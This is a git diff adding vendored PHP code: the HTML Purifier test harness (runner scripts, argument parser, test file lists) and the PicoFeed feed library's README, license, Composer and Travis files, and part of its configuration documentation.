+ }
+
+ public function onParserError(Exception $exception)
+ {
+ $this->reporter->paintException($exception);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/PHPT/Section/PRESKIPIF.php b/vendor/ezyang/htmlpurifier/tests/PHPT/Section/PRESKIPIF.php
new file mode 100644
index 000000000..5d25ea4ed
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/PHPT/Section/PRESKIPIF.php
@@ -0,0 +1,36 @@
+<?php
+
+class PHPT_Section_PRESKIPIF implements PHPT_Section_RunnableBefore
+{
+ private $_data = null;
+ private $_runner_factory = null;
+
+ public function __construct($data)
+ {
+ $this->_data = $data;
+ $this->_runner_factory = new PHPT_CodeRunner_Factory();
+ }
+
+ public function run(PHPT_Case $case)
+ {
+ // @todo refactor this code into PHPT_Util class as its used in multiple places
+ $filename = dirname($case->filename) . '/' . basename($case->filename, '.php') . '.skip.php';
+
+ // @todo refactor to PHPT_CodeRunner
+ file_put_contents($filename, $this->_data);
+ $runner = $this->_runner_factory->factory($case);
+ $runner->ini = "";
+ $response = $runner->run($filename)->output;
+ unlink($filename);
+
+ if (preg_match('/^skip( - (.*))?/', $response, $matches)) {
+ $message = !empty($matches[2]) ? $matches[2] : '';
+ throw new PHPT_Case_VetoException($message);
+ }
+ }
+
+ public function getPriority()
+ {
+ return -2;
+ }
+}
diff --git a/vendor/ezyang/htmlpurifier/tests/common.php b/vendor/ezyang/htmlpurifier/tests/common.php
new file mode 100644
index 000000000..8f35a410c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/common.php
@@ -0,0 +1,265 @@
+<?php
+
+if (!defined('HTMLPurifierTest')) {
+ echo "Invalid entry point\n";
+ exit;
+}
+
+// setup our own autoload, checking for HTMLPurifier library if spl_autoload_register
+// is not allowed
+function __autoload($class)
+{
+ if (!function_exists('spl_autoload_register')) {
+ if (HTMLPurifier_Bootstrap::autoload($class)) return true;
+ if (HTMLPurifierExtras::autoload($class)) return true;
+ }
+ require str_replace('_', '/', $class) . '.php';
+ return true;
+}
+if (function_exists('spl_autoload_register')) {
+ spl_autoload_register('__autoload');
+}
+
+// default settings (protect against register_globals)
+$GLOBALS['HTMLPurifierTest'] = array();
+$GLOBALS['HTMLPurifierTest']['PEAR'] = false; // do PEAR tests
+$GLOBALS['HTMLPurifierTest']['PHPT'] = true; // do PHPT tests
+$GLOBALS['HTMLPurifierTest']['PH5P'] = class_exists('DOMDocument');
+
+// default library settings
+$simpletest_location = 'simpletest/'; // reasonable guess
+$csstidy_location = false;
+$versions_to_test = array();
+$php = 'php';
+$phpv = 'phpv';
+
+// load configuration
+if (file_exists('../conf/test-settings.php')) include '../conf/test-settings.php';
+elseif (file_exists('../test-settings.php')) include '../test-settings.php';
+else {
+ throw new Exception('Please create a test-settings.php file by copying test-settings.sample.php and configuring accordingly');
+}
+
+// load SimpleTest
+require_once $simpletest_location . 'unit_tester.php';
+require_once $simpletest_location . 'reporter.php';
+require_once $simpletest_location . 'mock_objects.php';
+require_once $simpletest_location . 'xml.php';
+require_once $simpletest_location . 'remote.php';
+
+// load CSS Tidy
+if ($csstidy_location !== false) {
+ $old = error_reporting(E_ALL);
+ require $csstidy_location . 'class.csstidy.php';
+ error_reporting($old);
+}
+
+// load PEAR to include path
+if ( is_string($GLOBALS['HTMLPurifierTest']['PEAR']) ) {
+ // if PEAR is true, there's no need to add it to the path
+ set_include_path($GLOBALS['HTMLPurifierTest']['PEAR'] . PATH_SEPARATOR .
+ get_include_path());
+}
+
+// after external libraries are loaded, turn on compile time errors
+error_reporting(E_ALL | E_STRICT);
+
+// initialize extra HTML Purifier libraries
+require '../extras/HTMLPurifierExtras.auto.php';
+
+// load SimpleTest addon functions
+require 'generate_mock_once.func.php';
+require 'path2class.func.php';
+
+/**
+ * Arguments parser, is cli and web agnostic.
+ * @warning
+ * There are some quirks about the argument format:
+ * - Short boolean flags cannot be chained together
+ * - Only strings, integers and booleans are accepted
+ * @param $AC
+ * Arguments array to populate. This takes a simple format of 'argument'
+ * => default value. Depending on the type of the default value,
+ * arguments will be typecast accordingly. For example, if
+ * 'flag' => false is passed, all arguments for that will be cast to
+ * boolean. Do *not* pass null, as it will not be recognized.
+ * @param $aliases
+ *
+ */
+function htmlpurifier_parse_args(&$AC, $aliases)
+{
+ if (empty($_GET) && !empty($_SERVER['argv'])) {
+ array_shift($_SERVER['argv']);
+ $o = false;
+ $bool = false;
+ $val_is_bool = false;
+ foreach ($_SERVER['argv'] as $opt) {
+ if ($o !== false) {
+ $v = $opt;
+ } else {
+ if ($opt === '') continue;
+ if (strlen($opt) > 2 && strncmp($opt, '--', 2) === 0) {
+ $o = substr($opt, 2);
+ } elseif ($opt[0] == '-') {
+ $o = substr($opt, 1);
+ } else {
+ $lopt = strtolower($opt);
+ if ($bool !== false && ($opt === '0' || $lopt === 'off' || $lopt === 'no')) {
+ $o = $bool;
+ $v = false;
+ $val_is_bool = true;
+ } elseif (isset($aliases[''])) {
+ $o = $aliases[''];
+ }
+ }
+ $bool = false;
+ if (!isset($AC[$o]) || !is_bool($AC[$o])) {
+ if (strpos($o, '=') === false) {
+ continue;
+ }
+ list($o, $v) = explode('=', $o);
+ } elseif (!$val_is_bool) {
+ $v = true;
+ $bool = $o;
+ }
+ $val_is_bool = false;
+ }
+ if ($o === false) continue;
+ htmlpurifier_args($AC, $aliases, $o, $v);
+ $o = false;
+ }
+ } else {
+ foreach ($_GET as $o => $v) {
+ if (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()) {
+ $v = stripslashes($v);
+ }
+ htmlpurifier_args($AC, $aliases, $o, $v);
+ }
+ }
+}
+
+/**
+ * Actually performs assignment to $AC, see htmlpurifier_parse_args()
+ * @param $AC Arguments array to write to
+ * @param $aliases Aliases for options
+ * @param $o Argument name
+ * @param $v Argument value
+ */
+function htmlpurifier_args(&$AC, $aliases, $o, $v)
+{
+ if (isset($aliases[$o])) $o = $aliases[$o];
+ if (!isset($AC[$o])) return;
+ if (is_string($AC[$o])) $AC[$o] = $v;
+ if (is_bool($AC[$o])) $AC[$o] = ($v === '') ? true :(bool) $v;
+ if (is_int($AC[$o])) $AC[$o] = (int) $v;
+}
+
+/**
+ * Adds a test-class; we use file extension to determine which class to use.
+ */
+function htmlpurifier_add_test($test, $test_file, $only_phpt = false)
+{
+ switch (strrchr($test_file, ".")) {
+ case '.phpt':
+ return $test->add(new PHPT_Controller_SimpleTest($test_file));
+ case '.php':
+ require_once $test_file;
+ return $test->add(path2class($test_file));
+ case '.vtest':
+ return $test->add(new HTMLPurifier_ConfigSchema_ValidatorTestCase($test_file));
+ case '.htmlt':
+ return $test->add(new HTMLPurifier_HTMLT($test_file));
+ default:
+ trigger_error("$test_file is an invalid file for testing", E_USER_ERROR);
+ }
+}
+
+/**
+ * Debugging function that prints tokens in a user-friendly manner.
+ */
+function printTokens($tokens, $index = null)
+{
+ $string = '<pre>';
+ $generator = new HTMLPurifier_Generator(HTMLPurifier_Config::createDefault(), new HTMLPurifier_Context);
+ foreach ($tokens as $i => $token) {
+ $string .= printToken($generator, $token, $i, $index == $i);
+ }
+ $string .= '</pre>';
+ echo $string;
+}
+
+function printToken($generator, $token, $i, $isCursor)
+{
+ $string = "";
+ if ($isCursor) $string .= '[<strong>';
+ $string .= "<sup>$i</sup>";
+ $string .= $generator->escape($generator->generateFromToken($token));
+ if ($isCursor) $string .= '</strong>]';
+ return $string;
+}
+
+function printZipper($zipper, $token)
+{
+ $string = '<pre>';
+ $generator = new HTMLPurifier_Generator(HTMLPurifier_Config::createDefault(), new HTMLPurifier_Context);
+ foreach ($zipper->front as $i => $t) {
+ $string .= printToken($generator, $t, $i, false);
+ }
+ if ($token !== NULL) {
+ $string .= printToken($generator, $token, "", true);
+ }
+ for ($i = count($zipper->back)-1; $i >= 0; $i--) {
+ $string .= printToken($generator, $zipper->back[$i], $i, false);
+ }
+ $string .= '</pre>';
+ echo $string;
+}
+
+/**
+ * Convenient "insta-fail" test-case to add if any outside things fail
+ */
+class FailedTest extends UnitTestCase
+{
+ protected $msg, $details;
+ public function __construct($msg, $details = null)
+ {
+ $this->msg = $msg;
+ $this->details = $details;
+ }
+ public function test()
+ {
+ $this->fail($this->msg);
+ if ($this->details) $this->reporter->paintFormattedMessage($this->details);
+ }
+}
+
+/**
+ * Flushes all caches, and fatally errors out if there's a problem.
+ */
+function htmlpurifier_flush($php, $reporter)
+{
+ exec($php . ' ../maintenance/flush.php ' . $php . ' 2>&1', $out, $status);
+ if ($status) {
+ $test = new FailedTest(
+ 'maintenance/flush.php returned non-zero exit status',
+ wordwrap(implode("\n", $out), 80)
+ );
+ $test->run($reporter);
+ exit(1);
+ }
+}
+
+/**
+ * Dumps error queue, useful if there has been a fatal error.
+ */
+function htmlpurifier_dump_error_queue()
+{
+ $context = SimpleTest::getContext();
+ $queue = $context->get('SimpleErrorQueue');
+ while (($error = $queue->extract()) !== false) {
+ var_dump($error);
+ }
+}
+register_shutdown_function('htmlpurifier_dump_error_queue');
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/default_load.php b/vendor/ezyang/htmlpurifier/tests/default_load.php
new file mode 100644
index 000000000..9b8bfb70c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/default_load.php
@@ -0,0 +1,3 @@
+<?php
+class default_load { }
+echo "Default loaded\n";
diff --git a/vendor/ezyang/htmlpurifier/tests/generate_mock_once.func.php b/vendor/ezyang/htmlpurifier/tests/generate_mock_once.func.php
new file mode 100644
index 000000000..98b40a63b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/generate_mock_once.func.php
@@ -0,0 +1,12 @@
+<?php
+
+// since Mocks can't be called from within test files, we need to do
+// a little jumping through hoops to generate them
+function generate_mock_once($name)
+{
+ $mock_name = $name . 'Mock';
+ if (class_exists($mock_name, false)) return false;
+ Mock::generate($name, $mock_name);
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/index.php b/vendor/ezyang/htmlpurifier/tests/index.php
new file mode 100644
index 000000000..5a0db18c0
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/index.php
@@ -0,0 +1,217 @@
+<?php
+
+/** @file
+ * Unit tester
+ *
+ * The heart and soul of HTML Purifier's correctness; anything and everything
+ * is tested here! Arguments are specified like --arg=opt, allowed arguments
+ * are:
+ * - flush, whether or not to flush definition caches before running
+ * - standalone, whether or not to test the standalone version
+ * - file (f), a single file to test
+ * - xml, whether or not to output XML
+ * - dry, whether or not to do a dry run
+ * - type, the type of tests to run, can be 'htmlpurifier', 'configdoc',
+ * 'fstools', 'htmlt', 'vtest' or 'phpt'
+ *
+ * If you're interested in running the test-cases, mosey over to
+ * ../test-settings.sample.php, copy the file to test-settings.php and follow
+ * the enclosed instructions.
+ *
+ * @warning File setup does not exactly match with autoloader; make sure that
+ * non-test classes (i.e. classes that are not retrieved using
+ * $test_files) do not have underscores in their names.
+ */
+
+// HTML Purifier runs error free on E_STRICT, so if code reports
+// errors, we want to know about it.
+error_reporting(E_ALL | E_STRICT);
+
+// Because we always want to know about errors, and because SimpleTest
+// will notify us about them, logging the errors to stderr is
+// counterproductive and in fact the wrong thing when a test case
+// exercises an error condition to detect for it.
+ini_set('log_errors', false);
+
+define('HTMLPurifierTest', 1);
+define('HTMLPURIFIER_SCHEMA_STRICT', true); // validate schemas
+chdir(dirname(__FILE__));
+
+$php = 'php'; // for safety
+ini_set('memory_limit', '64M');
+
+require 'common.php';
+$AC = array(); // parameters
+$AC['flush'] = false;
+$AC['standalone'] = false;
+$AC['file'] = '';
+$AC['xml'] = false;
+$AC['dry'] = false;
+$AC['php'] = $php;
+$AC['help'] = false;
+$AC['verbose'] = false;
+$AC['txt'] = false;
+
+$AC['type'] = '';
+$AC['disable-phpt'] = false;
+$AC['only-phpt'] = false; // alias for --type=phpt
+
+$aliases = array(
+ 'f' => 'file',
+ 'h' => 'help',
+ 'v' => 'verbose',
+);
+
+// It's important that this does not call the autoloader. Not a problem
+// with a function, but could be if we put this in a class.
+htmlpurifier_parse_args($AC, $aliases);
+
+if ($AC['help']) {
+?>HTML Purifier test suite
+Allowed options:
+ --flush
+ --standalone
+ --file (-f) HTMLPurifier/NameOfTest.php
+ --xml
+ --txt
+ --dry
+ --php /path/to/php
+ --type ( htmlpurifier | configdoc | fstools | htmlt | vtest | phpt )
+ --disable-phpt
+ --verbose (-v)
+<?php
+ exit;
+}
+
+// Disable PHPT tests if they're not enabled
+if (!$GLOBALS['HTMLPurifierTest']['PHPT']) {
+ $AC['disable-phpt'] = true;
+} elseif (!$AC['type'] && $AC['only-phpt']) {
+ // backwards-compat
+ $AC['type'] = 'phpt';
+}
+
+if (!SimpleReporter::inCli()) {
+ // Undo any dangerous parameters
+ $AC['php'] = $php;
+}
+
+// initialize and load HTML Purifier
+// use ?standalone to load the alterative standalone stub
+if ($AC['standalone']) {
+ require '../library/HTMLPurifier.standalone.php';
+} else {
+ require '../library/HTMLPurifier.path.php';
+ require 'HTMLPurifier.includes.php';
+}
+require '../library/HTMLPurifier.autoload.php';
+require 'HTMLPurifier/Harness.php';
+
+// immediately load external libraries, so we can bail out early if
+// they're bad
+if ($GLOBALS['HTMLPurifierTest']['PEAR']) {
+ if ($GLOBALS['HTMLPurifierTest']['Net_IDNA2']) {
+ require_once 'Net/IDNA2.php';
+ }
+}
+
+// Shell-script code is executed
+
+if ($AC['xml']) {
+ if (!SimpleReporter::inCli()) header('Content-Type: text/xml;charset=UTF-8');
+ $reporter = new XmlReporter();
+} elseif (SimpleReporter::inCli() || $AC['txt']) {
+ if (!SimpleReporter::inCli()) header('Content-Type: text/plain;charset=UTF-8');
+ $reporter = new HTMLPurifier_SimpleTest_TextReporter($AC);
+} else {
+ $reporter = new HTMLPurifier_SimpleTest_Reporter('UTF-8', $AC);
+}
+
+if ($AC['flush']) {
+ htmlpurifier_flush($AC['php'], $reporter);
+}
+
+// Now, userland code begins to be executed
+
+// setup special DefinitionCacheFactory decorator
+$factory = HTMLPurifier_DefinitionCacheFactory::instance();
+$factory->addDecorator('Memory'); // since we deal with a lot of config objects
+
+if (!$AC['disable-phpt']) {
+ $phpt = PHPT_Registry::getInstance();
+ $phpt->php = $AC['php'];
+}
+
+// load tests
+require 'test_files.php';
+
+$FS = new FSTools();
+
+// handle test dirs
+foreach ($test_dirs as $dir) {
+ $raw_files = $FS->globr($dir, '*Test.php');
+ foreach ($raw_files as $file) {
+ $file = str_replace('\\', '/', $file);
+ if (isset($test_dirs_exclude[$file])) continue;
+ $test_files[] = $file;
+ }
+}
+
+// handle vtest dirs
+foreach ($vtest_dirs as $dir) {
+ $raw_files = $FS->globr($dir, '*.vtest');
+ foreach ($raw_files as $file) {
+ $test_files[] = str_replace('\\', '/', $file);
+ }
+}
+
+// handle phpt files
+foreach ($phpt_dirs as $dir) {
+ $phpt_files = $FS->globr($dir, '*.phpt');
+ foreach ($phpt_files as $file) {
+ $test_files[] = str_replace('\\', '/', $file);
+ }
+}
+
+// handle htmlt dirs
+foreach ($htmlt_dirs as $dir) {
+ $htmlt_files = $FS->globr($dir, '*.htmlt');
+ foreach ($htmlt_files as $file) {
+ $test_files[] = str_replace('\\', '/', $file);
+ }
+}
+
+array_unique($test_files);
+sort($test_files); // for the SELECT
+$GLOBALS['HTMLPurifierTest']['Files'] = $test_files; // for the reporter
+$test_file_lookup = array_flip($test_files);
+
+// determine test file
+if ($AC['file']) {
+ if (!isset($test_file_lookup[$AC['file']])) {
+ echo "Invalid file passed\n";
+ exit;
+ }
+}
+
+if ($AC['file']) {
+
+ $test = new TestSuite($AC['file']);
+ htmlpurifier_add_test($test, $AC['file']);
+
+} else {
+
+ $standalone = '';
+ if ($AC['standalone']) $standalone = ' (standalone)';
+ $test = new TestSuite('All HTML Purifier tests on PHP ' . PHP_VERSION . $standalone);
+ foreach ($test_files as $test_file) {
+ htmlpurifier_add_test($test, $test_file);
+ }
+
+}
+
+if ($AC['dry']) $reporter->makeDry();
+
+$test->run($reporter);
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/multitest.php b/vendor/ezyang/htmlpurifier/tests/multitest.php
new file mode 100644
index 000000000..ef296cdda
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/multitest.php
@@ -0,0 +1,159 @@
+<?php
+
+/** @file
+ * Multiple PHP Versions test
+ *
+ * This file tests HTML Purifier in all versions of PHP. Arguments
+ * are specified like --arg=opt, allowed arguments are:
+ * - quiet (q), if specified no informative messages are enabled (please use
+ * this if you're outputting XML)
+ * - distro, allowed values 'normal' or 'standalone', by default all
+ * distributions are tested. "--standalone" is a shortcut for
+ * "--distro=standalone".
+ * - quick, run only the most recent versions of each release series
+ * - disable-flush, by default flush is run, this disables it
+ * - file (f), xml, type: these correspond to the parameters in index.php
+ *
+ * @note
+ * It requires a script called phpv that takes an extra argument (the
+ * version number of PHP) before all other arguments. Contact me if you'd
+ * like to set up a similar script. The name of the script can be
+ * edited with $phpv
+ *
+ * @note
+ * Also, configuration must be set up with a variable called
+ * $versions_to_test specifying version numbers to pass to $phpv
+ */
+
+define('HTMLPurifierTest', 1);
+chdir(dirname(__FILE__));
+$php = 'php'; // for safety
+
+require_once 'common.php';
+
+if (!SimpleReporter::inCli()) {
+ echo 'Multitest only available from command line';
+ exit;
+}
+
+$AC = array(); // parameters
+$AC['file'] = '';
+$AC['xml'] = false;
+$AC['quiet'] = false;
+$AC['php'] = $php;
+$AC['disable-phpt'] = false;
+$AC['disable-flush'] = false;
+$AC['type'] = '';
+$AC['distro'] = ''; // valid values are normal/standalone
+$AC['quick'] = false; // run the latest version on each release series
+$AC['standalone'] = false; // convenience for --distro=standalone
+// Legacy parameters
+$AC['only-phpt'] = false; // --type=phpt
+$AC['exclude-normal'] = false; // --distro=standalone
+$AC['exclude-standalone'] = false; // --distro=normal
+$AC['verbose'] = false;
+$aliases = array(
+ 'f' => 'file',
+ 'q' => 'quiet',
+ 'v' => 'verbose',
+);
+htmlpurifier_parse_args($AC, $aliases);
+
+// Backwards compat extra parsing
+if ($AC['only-phpt']) {
+ $AC['type'] = 'phpt';
+}
+if ($AC['exclude-normal']) $AC['distro'] = 'standalone';
+elseif ($AC['exclude-standalone']) $AC['distro'] = 'normal';
+elseif ($AC['standalone']) $AC['distro'] = 'standalone';
+
+if ($AC['xml']) {
+ $reporter = new XmlReporter();
+} else {
+ $reporter = new HTMLPurifier_SimpleTest_TextReporter($AC);
+}
+
+// Regenerate any necessary files
+if (!$AC['disable-flush']) htmlpurifier_flush($AC['php'], $reporter);
+
+$file_arg = '';
+require 'test_files.php';
+if ($AC['file']) {
+ $test_files_lookup = array_flip($test_files);
+ if (isset($test_files_lookup[$AC['file']])) {
+ $file_arg = '--file=' . $AC['file'];
+ } else {
+ throw new Exception("Invalid file passed");
+ }
+}
+// This allows us to get out of having to do dry runs.
+$size = count($test_files);
+
+$type_arg = '';
+if ($AC['type']) $type_arg = '--type=' . $AC['type'];
+
+if ($AC['quick']) {
+ $seriesArray = array();
+ foreach ($versions_to_test as $version) {
+ $series = substr($version, 0, strpos($version, '.', strpos($version, '.') + 1));
+ if (!isset($seriesArray[$series])) {
+ $seriesArray[$series] = $version;
+ continue;
+ }
+ if (version_compare($version, $seriesArray[$series], '>')) {
+ $seriesArray[$series] = $version;
+ }
+ }
+ $versions_to_test = array_values($seriesArray);
+}
+
+// Setup the test
+$test = new TestSuite('HTML Purifier Multiple Versions Test');
+foreach ($versions_to_test as $version) {
+ // Support for arbitrarily forcing flushes by wrapping the suspect
+ // version name in an array()
+ $flush_arg = '';
+ if (is_array($version)) {
+ $version = $version[0];
+ $flush_arg = '--flush';
+ }
+ if ($AC['type'] !== 'phpt') {
+ $break = true;
+ switch ($AC['distro']) {
+ case '':
+ $break = false;
+ case 'normal':
+ $test->add(
+ new CliTestCase(
+ "$phpv $version index.php --xml $flush_arg $type_arg --disable-phpt $file_arg",
+ $AC['quiet'], $size
+ )
+ );
+ if ($break) break;
+ case 'standalone':
+ $test->add(
+ new CliTestCase(
+ "$phpv $version index.php --xml $flush_arg $type_arg --standalone --disable-phpt $file_arg",
+ $AC['quiet'], $size
+ )
+ );
+ if ($break) break;
+ }
+ }
+ if (!$AC['disable-phpt'] && (!$AC['type'] || $AC['type'] == 'phpt')) {
+ $test->add(
+ new CliTestCase(
+ $AC['php'] . " index.php --xml --php \"$phpv $version\" --type=phpt",
+ $AC['quiet'], $size
+ )
+ );
+ }
+}
+
+// This is the HTML Purifier website's test XML file. We could
+// add more websites, i.e. more configurations to test.
+// $test->add(new RemoteTestCase('http://htmlpurifier.org/dev/tests/?xml=1', 'http://htmlpurifier.org/dev/tests/?xml=1&dry=1&flush=1'));
+
+$test->run($reporter);
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/path2class.func.php b/vendor/ezyang/htmlpurifier/tests/path2class.func.php
new file mode 100644
index 000000000..bf3aa735a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/path2class.func.php
@@ -0,0 +1,15 @@
+<?php
+
+function path2class($path)
+{
+ $temp = $path;
+ $temp = str_replace('./', '', $temp); // remove leading './'
+ $temp = str_replace('.\\', '', $temp); // remove leading '.\'
+ $temp = str_replace('\\', '_', $temp); // normalize \ to _
+ $temp = str_replace('/', '_', $temp); // normalize / to _
+ while(strpos($temp, '__') !== false) $temp = str_replace('__', '_', $temp);
+ $temp = str_replace('.php', '', $temp);
+ return $temp;
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/test_files.php b/vendor/ezyang/htmlpurifier/tests/test_files.php
new file mode 100644
index 000000000..d2b86cdb4
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/test_files.php
@@ -0,0 +1,45 @@
+<?php
+
+if (!defined('HTMLPurifierTest')) exit;
+
+// These arrays are defined by this file and can be relied upon.
+$test_files = array();
+$test_dirs = array();
+$test_dirs_exclude = array();
+$vtest_dirs = array();
+$htmlt_dirs = array();
+$phpt_dirs = array();
+
+$break = true;
+switch ($AC['type']) {
+ case '':
+ $break = false;
+ case 'htmlpurifier':
+ $test_dirs[] = 'HTMLPurifier';
+ $test_files[] = 'HTMLPurifierTest.php';
+ $test_dirs_exclude['HTMLPurifier/Filter/ExtractStyleBlocksTest.php'] = true;
+ if ($csstidy_location) {
+ $test_files[] = 'HTMLPurifier/Filter/ExtractStyleBlocksTest.php';
+ }
+ if ($break) break;
+ case 'configdoc':
+ if (version_compare(PHP_VERSION, '5.2', '>=')) {
+ // $test_dirs[] = 'ConfigDoc'; // no test files currently!
+ }
+ if ($break) break;
+ case 'fstools':
+ $test_dirs[] = 'FSTools';
+ case 'htmlt':
+ $htmlt_dirs[] = 'HTMLPurifier/HTMLT';
+ if ($break) break;
+ case 'vtest':
+ $vtest_dirs[] = 'HTMLPurifier/ConfigSchema/Validator';
+ if ($break) break;
+
+ case 'phpt':
+ if (!$AC['disable-phpt'] && version_compare(PHP_VERSION, '5.2', '>=')) {
+ $phpt_dirs[] = 'HTMLPurifier/PHPT';
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/tmp/README b/vendor/ezyang/htmlpurifier/tests/tmp/README
new file mode 100644
index 000000000..2e35c1c3d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/tmp/README
@@ -0,0 +1,3 @@
+This is a dummy file to prevent Git from ignoring this empty directory.
+
+ vim: et sw=4 sts=4
diff --git a/vendor/fguillot/picofeed/.gitignore b/vendor/fguillot/picofeed/.gitignore
new file mode 100644
index 000000000..b0ef0680a
--- /dev/null
+++ b/vendor/fguillot/picofeed/.gitignore
@@ -0,0 +1,2 @@
+.DS_Store
+vendor/ \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/.travis.yml b/vendor/fguillot/picofeed/.travis.yml
new file mode 100644
index 000000000..0c3d0fe55
--- /dev/null
+++ b/vendor/fguillot/picofeed/.travis.yml
@@ -0,0 +1,12 @@
+language: php
+
+php:
+ - "5.6"
+ - "5.5"
+ - "5.4"
+ - "5.3"
+
+before_script: wget https://phar.phpunit.de/phpunit.phar
+script:
+ - composer dump-autoload
+ - php phpunit.phar
diff --git a/vendor/fguillot/picofeed/README.markdown b/vendor/fguillot/picofeed/README.markdown
new file mode 100644
index 000000000..8f01b4e8e
--- /dev/null
+++ b/vendor/fguillot/picofeed/README.markdown
@@ -0,0 +1,57 @@
+PicoFeed
+========
+
+PicoFeed was originally developed for [Miniflux](http://miniflux.net), a minimalist and open source news reader.
+
+However, this library can be used inside any project.
+PicoFeed is tested with a lot of different feeds and it's simple and easy to use.
+
+[![Build Status](https://travis-ci.org/fguillot/picoFeed.svg?branch=master)](https://travis-ci.org/fguillot/picoFeed)
+
+[![Scrutinizer Code Quality](https://scrutinizer-ci.com/g/fguillot/picoFeed/badges/quality-score.png?b=master)](https://scrutinizer-ci.com/g/fguillot/picoFeed/?branch=master)
+
+Features
+--------
+
+- Simple and fast
+- Feed parser for Atom 1.0 and RSS 0.91, 0.92, 1.0 and 2.0
+- Feed writer for Atom 1.0 and RSS 2.0
+- Favicon fetcher
+- Import/Export OPML subscriptions
+- Content filter: HTML cleanup, remove pixel trackers and Ads
+- Multiple HTTP client adapters: cURL or Stream Context
+- Proxy support
+- Content grabber: download from the original website the full content
+- Enclosure detection
+- RTL languages support
+- License: Unlicense <http://unlicense.org/>
+
+Requirements
+------------
+
+- PHP >= 5.3
+- libxml >= 2.7
+- XML PHP extensions: DOM and SimpleXML
+- cURL or Stream Context (`allow_url_fopen=On`)
+
+Authors
+-------
+
+- Original author: [Frédéric Guillot](http://fredericguillot.com/)
+- Major Contributors:
+ - [Bernhard Posselt](https://github.com/Raydiation)
+ - [David Pennington](https://github.com/Xeoncross)
+
+Documentation
+-------------
+
+- [Installation](docs/installation.markdown)
+- [Running unit tests](docs/tests.markdown)
+- [Feed parsing](docs/feed-parsing.markdown)
+- [Feed creation](docs/feed-creation.markdown)
+- [Favicon fetcher](docs/favicon.markdown)
+- [OPML file importation](docs/opml-import.markdown)
+- [OPML file exportation](docs/opml-export.markdown)
+- [Web scraping](docs/grabber.markdown)
+- [Debugging](docs/debugging.markdown)
+- [Configuration](docs/config.markdown)
diff --git a/vendor/fguillot/picofeed/UNLICENSE b/vendor/fguillot/picofeed/UNLICENSE
new file mode 100644
index 000000000..68a49daad
--- /dev/null
+++ b/vendor/fguillot/picofeed/UNLICENSE
@@ -0,0 +1,24 @@
+This is free and unencumbered software released into the public domain.
+
+Anyone is free to copy, modify, publish, use, compile, sell, or
+distribute this software, either in source code form or as a compiled
+binary, for any purpose, commercial or non-commercial, and by any
+means.
+
+In jurisdictions that recognize copyright laws, the author or authors
+of this software dedicate any and all copyright interest in the
+software to the public domain. We make this dedication for the benefit
+of the public at large and to the detriment of our heirs and
+successors. We intend this dedication to be an overt act of
+relinquishment in perpetuity of all present and future rights to this
+software under copyright law.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
+OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
+ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+OTHER DEALINGS IN THE SOFTWARE.
+
+For more information, please refer to <http://unlicense.org/>
diff --git a/vendor/fguillot/picofeed/composer.json b/vendor/fguillot/picofeed/composer.json
new file mode 100644
index 000000000..bc842f3b1
--- /dev/null
+++ b/vendor/fguillot/picofeed/composer.json
@@ -0,0 +1,19 @@
+{
+ "name": "fguillot/picofeed",
+ "description": "Modern library to write or read feeds (RSS/Atom)",
+ "homepage": "http://fguillot.github.io/picoFeed",
+ "type": "library",
+ "license": "Unlicense",
+ "authors": [
+ {
+ "name": "Frédéric Guillot",
+ "homepage": "http://fredericguillot.com"
+ }
+ ],
+ "require": {
+ "php": ">=5.3.0"
+ },
+ "autoload": {
+ "psr-0": {"PicoFeed": "lib/"}
+ }
+}
diff --git a/vendor/fguillot/picofeed/docs/config.markdown b/vendor/fguillot/picofeed/docs/config.markdown
new file mode 100644
index 000000000..bf6fdee1f
--- /dev/null
+++ b/vendor/fguillot/picofeed/docs/config.markdown
@@ -0,0 +1,263 @@
+Configuration
+=============
+
+How to use the Config object
+----------------------------
+
+To change the default parameters, you have to use the Config class.
+Create a new instance and pass it to the Reader object like that:
+
+```php
+use PicoFeed\Reader;
+use PicoFeed\Config;
+
+$config = new Config;
+$config->setClientUserAgent('My custom RSS Reader')
+ ->setProxyHostname('127.0.0.1')
+ ->setProxyPort(8118);
+
+$reader = new Reader($config);
+...
+```
+
+HTTP Client parameters
+----------------------
+
+### Connection timeout
+
+- Method name: `setClientTimeout()`
+- Default value: 10 seconds
+- Argument value: number of seconds (integer)
+
+```php
+$config->setClientTimeout(20); // 20 seconds
+```
+
+### User Agent
+
+- Method name: `setClientUserAgent()`
+- Default value: `PicoFeed (https://github.com/fguillot/picoFeed)`
+- Argument value: string
+
+```php
+$config->setClientUserAgent('My RSS reader');
+```
+
+### Maximum HTTP redirections
+
+- Method name: `setMaxRedirections()`
+- Default value: 5
+- Argument value: integer
+
+```php
+$config->setMaxRedirections(10);
+```
+
+### Maximum HTTP body response size
+
+- Method name: `setMaxBodySize()`
+- Default value: 2097152 (2MB)
